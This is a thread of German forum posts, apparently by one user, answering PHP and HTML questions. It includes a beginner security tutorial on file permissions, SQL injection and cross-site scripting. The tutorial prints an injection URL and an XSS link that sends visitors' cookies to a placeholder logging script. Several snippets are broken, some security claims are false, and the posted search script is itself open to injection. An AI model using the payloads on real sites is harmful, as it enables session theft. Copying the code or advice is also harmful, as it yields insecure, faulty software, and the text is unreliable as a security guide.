Ronald, ganz meiner meinung ich habe nicht gezögert mich hier anzumelden das sind 3minuten und sich als gast sich vernümpftig anzumelden noch weniger als eine minute
Ich mag solche spezies nicht
Ronald, ganz meiner meinung ich habe nicht gezögert mich hier anzumelden das sind 3minuten und sich als gast sich vernümpftig anzumelden noch weniger als eine minute
Ich mag solche spezies nicht
das weiss ich nicht, ich weiss ja nicht was die methoden in deiner klasse machen kann ja sein das du dort ja usereingaben übergibst da du ja au ein formular haben musst ! wie schon mal in diesem thread erwähnt muss ich das ganze script sehen !
Faustregel ist das alle usereingaben auch cookies und sessions immer als manipuliert betrachtet werden sollten und dem entsprechend sicherst du dich ab mit den funktionen die ich in meinem tut benutzt habe !
ja knn man denn mit 777 chmod gibst du die erlaubnis das auch externe scripte die betroffene Datei ausführen z.b. mit include, Lesen oder beschreiben dürfen !
ausser wenn in der php.ini Datei es dem entsprechen gesperrt worden ist z.b.
fsockopen wie bei funpic oder das man nur dateien ausführen darf die im dateisystem zur verfügung stehen !
versuch es mal mit strip_tags :
strip_tags($contents, ENT_QUOTES) der müsste Sie umwandeln oder mit str_replace("'", "", $source);
und du steckst dann den ganze ruhm ein ( schau mal was ich tolles gemacht habe ) nein Danke dann schreib ich mir bei bedarf so etwas lieber alleine !
Hi habe was zu diesem Thema gepostet, sollte dir helfen !
Ja dann musst du das array verschachteln
$fertig=array();
$zeilen = file('address.csv');
$i=0;
foreach($zeilen as $zeile) {
echo nl2br(htmlspecialchars($zeile));
$zeile = explode(';', $zeile);
$fertig [$i]= array("name" => $zeile[0], "anrede" => $zeile[1], "apartner" => $zeile[2], "email" => $zeile[3]);
$i++;
}
print_r($fertig, true);
Alles anzeigen
Wie wurde die CSV Datei den erstellt ?
Per script ?
Mache es doch so
$id='1';
$file='CSV.csv';
$handle=fopen($file, "r");
$contents=fread($file, filesize($file);
fclose($handle);
$sql="UPDATE Inhalt SET Contents='".nl2br(htmlspecialchars(strip_tags($contents,ET_QUOTES)))."' WHERE ID='".$id."' LIMIT 1";
//query abschicken usw.
Alles anzeigen
wenn du die komplette Datei in einen Datenbank Spalte Speichern möchtest.
Ja kann man apache_get_modules() liefert ja ein array mit den möglichen modulen zurück, wenn die function nicht zur verfügung steht gibts ein nettes Beilspiel auf der manual seite wie man das noch lösen kann !
<?php
function get_modules ($fname="/etc/httpd/httpd.conf"){
if (is_readable($fname)){
$fcont = file($fname);
if (is_array($fcont)){
foreach ($fcont as $line){
if (preg_match ("/^LoadModule\s*(\S*)\s*(\S*)/i",$line,$match)){
$return[$match[2]] = $match[1];
}
}
}
}
return $return;
}
?>
Alles anzeigen
Ich habe gerade noch ein paar Fehler beseitigt und ergänzungen beigefügt !
Zu mod_rewrite muss ich mir noch was zu aus decken
Danke für den Tip
Hallo zusammen, habe mal wieder langeweile und habe mich entschieden hier ein paar tips zum Thema Sicherheit zu Posten !
Dateiattribut
Den größten Fehler den Anfänger machen ist Ihre Scripte der ganzen Welt zugänglich zu machen mit dem Dateiattribut 777 ( Chmod ) , dann haben noch einige keine Index.htm Datei in Ihrem root Verzeichnis, und so kann sich ein Angreifer in aller ruhe im Dateisystem umschauen ! Wenn der Angreifer eine Datei findet die sql oder My Connect.php heist wird er versuchen diese auszulesen mit fsockopen da die Datein den Attribut 777 haben sind diese Dateien auch für die Öffentlichkeit zugänglich und er kann sie auslesen, umschreiben oder sogar löschen ! Damit bekommt er unter umständen eure
Zugangsdaten für die Datenbank das noch verherende folgen haben kann als wenn der Angreifer nur die Datei umschreibt !
Zudem solltet Ihr eure wichtigsten Dateien wie z.b. Dateien die eure Zugangsdaten für die Datenbank enthalten nicht connect, admin oder sql.php usw. nennen denn Logischerweise möchte man mit der robots.txt Datei verhindern das Suchmaschienen die durchsuchen nicht weil der crawler die auslesen könnte nein weil der crawler dort nichts zu suchen hat ! Worauf ich hinaus will ist das Hacker als erstest in diese Datei schauen um wichtige Daten zu finden wenn man z.b. eine Index.php Datei im root Verzeichnis hat und er es nicht einsehen kann !
MySQL
SQL - Injection:
Nehmen wir an das wir eine HP haben wo der Content aus eine Datenbank kommt !
Daher haben wir z.b. solche Links mit fogende Adresse
index.php?cat=Startseite
Der Code um die Einträge aus der Datenbank zu holen könnte so aussehen :
//connection usw.
$sql="SELECT * FROM Contents WHERE id='".$_GET['cat']."' LIMIT 1";
$result=mysql_query($sql)or die(mysql_error());
$row=mysql_fetch_assoc($result);
echo$row['Inhalt'];
So sollte man das auf gar kein fall machen !
Nur wie Lösen wir das Problem ? Die folgenden funktionen sollten hilfreich sein :
mysql_real_escape_string, get_magic_quotes_gpc und die methode Typcasting !
wie folgt
If(get_magic_quotes_gpc()) {
stripslashes($_REQUEST);
}
$sql="SELECT * FROM Contemts WHERE id='".(INT)$_GET['cat']."' LIMIT 1";
$result=mysql_query($sql)or die(mysql_error());
$row=mysql_fetch_assoc($result);
echo$row['Inhalt'];
Alles anzeigen
Mit der Methode Tycasting (INT) können wir verhindern das der User den
Parameter Manipuliert da nur noch eine Zahl möglich ist, wenn der Parameter keine Zahl ist wird eine Fehlermeldung ausgeben und das Script wird abgebrochen ! Deshalb solltet Ihr immer Primary Key`s ( ID ) für Einträge nehmen ! Die Links sehen dann so aus :
index.php?cat=37
Denn es ist möglich das ein Angreifer sich alle einträge zeigen lässt z.b. so :
somit ist die WHERE Klausel immer wahr !
die Linkadresse könnte so aussehen :
index.php?cat=0+OR+1=1
Und die oben genannte Lösung kann solch eine Manipulation verhindern !
Ein Angreif könnte sonst z.b. mit der Funktion UNION auch SQL Anweisungen verknüpfen ( einfach über den GET Parameter mit dran hängen )
Wenn man User Eingaben an die Datebank verschicken muss sollte man die eingaben immer Filtern z.b. so :
$sql="SELECT * FROM Login WHERE user='".mysql_real_escape_string($_GET['user'])."' AND pass='".mysql_real_escape_string($_GET['pass'])."' LIMIT 1";
Damit schützt man sich vor Angriffen dieser art :
Mit diesen Manipulierten Parametern kann der Angreifer sich ohne Passwort einloggen wenn man die Eingaben nicht mit mysql_real_escape_string überprüft !
XSS (Cross-Site-Scripting)
XSS ist sehr weit verbreitet, meistens sind Foren davon betroffen !
Wenn man eine Usereingabe erwartet sollte man Sie für die Anzeige auf dem Bildschirm vorbereiten.
z.b so:
Mit der Funktion strip_tags() Filtern wir alle SGML-Tags also alles was zwischen < und > Steht.
Und mit dem Optionalen Parameter ENT_QUOTES geben wir an wie PHP diese " und diese ' Zeichen Filtern soll.
Mit htmlspecialchars() wandeln wir diese < > und z.b. dieses & Zeichen in HTML um ( & )!
Denn es ist auch möglich JavaScript-Codes ohne den <Script> Tag einzubinden.
Ein XSS-Angriff in einem Forum könnte so aussehen:
[url='javascript:location.href='http://www.hier die URL wo das Script liegt der die COOKIES speichert.de/cookie.php?do='+document.cookie;']Suchst du was ?[/url]
Aber in diesen Forum könnt Ihre diesen Trick knicken und in den meisten anderen auch, dieses Problem haben nur ältere Versionen der gängigen PHP-Foren.
HÄ ? beim enter drücken meinst du in deinem HTML editor ?
oder was meinst du ?
ach ja hol mal dashier aus deiner tabelle diese gruppe brauchst du nicht
<tbody> </tbody>
wenn du tfoot und thead nicht mit benutzt !!
Ja OK ber ein versuch war es ja wert !
Hallo unterstützt dein Webspace PHP?
wenn nicht geht das nicht !
Wenn ja muss die ändung nicht htm,html sondern php heissen !
wenn du webspace mit php brauchst dann schau mal hier http://funpic.de
dort steht dir PHP und MySQL zu verfügung!
aber wie gesagt kannst du es au mit google versuchen
das script funktioniert das hab ich gerade getetstet !
ein formular must du dir noch schreiben und per GET den suchbegriff übergeben !
Hört sich ziemlich lächerlich an, und dann will der das noch umsonst haben zudem noch auf funpic hosten wo so gut wie keine wichtigen functionen bereit stehen wie mod-rewrite() oder fsockopen() ne ne ne
so kannst du das knicken !
Denn für so ein riesen Projekt brauchst du alleine schon für die Performance min. 2 Server einen Datenbankserver und einen für die ausgaben/anfragen !
Mehrere Feste IP`s wären auch nicht schlecht und das kostet !
Allein schon die Planung dauert sehr lange, das ist nicht mal eben so !
Also ich könnte die ein System mit PHP,MySQL,Ajax schreiben und HTML,css natürlich auch
grafiken musst du stellen !
10Euro pro stunde oder Festpreis kommt darauf an was du machen möchtest !!!
Referenz ? schau in die Signatur
oder hier hab gerade ein Dateisystem Suche geschrieben !
https://www.forum-hilfe.de/viewtopic.php?t=21571
wo für ist diese id (id="Tabelle_01") hast du noch eine css datei ausgelagert
wenn ja schau dort noch mal !
und nimm das hier heraus bei der betroffenen img
style="bordrr:0px;"
mache s so wie bei den anderen border="0"
ach ja wenn du die als platzhalter für einen link nimmst kann der abstand auch daher kommen !
wenn du HTML Dateien in einem Verzeichnis durchsuchen möchtest ( beachte bei php Dateien das der PHP code immer geparst wird )
<?php
error_reporting(0);
$search=$_GET['search'];
$dir=$_SERVER['DOCUMENT_ROOT']."/";
$fehler=array();
$_del=array();
$ergebnis=array();
$ergenbnis_name=array();
if(empty($_GET['search'])) {
echo'Bitte geben Sie ein Suchbegriff an !';
exit();
}
function type_dump($in) {
$type = explode(".", $in);
$type[count($type)-1];
if($type[1]=="jpg" || $type[1]== "png" || $type[1]=="gif" || $type[1]=="css" || $type[1]=="js") {
$return=false;
}else{
$return=true;
}
return $return;
}
if ($handle = @opendir($dir)) {
while (false !== ($file = readdir($handle))) {
if ($file != "." && $file != ".." && type_dump($file)) {
if(!is_dir($dir.$file)) {
$_del[] = $file;
}
}
}
closedir($handle);
}else{
echo'Fehler: whiledir';
}
$count=count($_del);
for($i=0;$i<=$count;$i++) {
if($handle=fopen($dir.$_del[$i], "r")) {
$contents = @fread ($handle, filesize ($dir.$_del[$i]));
fclose($handle);
if(!$contents) {
$fehler[]=$dir.$_del[$i];
}
if(preg_match("=(.*)(".$search.")(.*)=mi", $contents)) {
preg_match_all("=(<title>)(.*)(</title>)=U", $contents, $titel);
$ergebnis[]=$_del[$i];
if(!$titel[2][0]==NULL) {
$ergenbnis_name[]=$titel[2][0];
}
}
}else{
echo'Fehler:for_preg';
}
}
echo'<u>Suchbegriff:'.$search."</u>
\n";
//var_dump($ergenbnis_name);
if($er_cont=count($ergenbnis_name)) {
for($k=0;$k<=$er_cont;$k++) {
if(!trim($ergenbnis_name[$k])=="") {
echo'[url=''.$dir.$ergebnis[$k].'']'.$ergenbnis_name[$k]."[/url]
\n";
}
}
}else{
echo'Kein Treffer';
}
?>
Alles anzeigen
Update : Fehler beseitigt
so in etwa könnte man das realisieren aber ich habe das script nicht getestet wenn was ist Fragen !
erläuterung: Das Script durchsucht alle Datein z.b. Htm, HTML und PHP keine Bilder ! Als Linkname benutzt das Script den Teil der zwischen <title> und </title> steht ! das muss natürlich gesetzt sein in deinen Dokus !
das script braucht 775 als Dateattribut !
Ich hoffe du meintest es auch so aber du kannst auch google dafür benutzen musst du mal bei google.de nach schauen wie das geht !
ach so wenn du eine Datenbank benutzt wo die daten stehen ist es einfacher !
wenn jemand ein Fehler im Script findet bitte posten !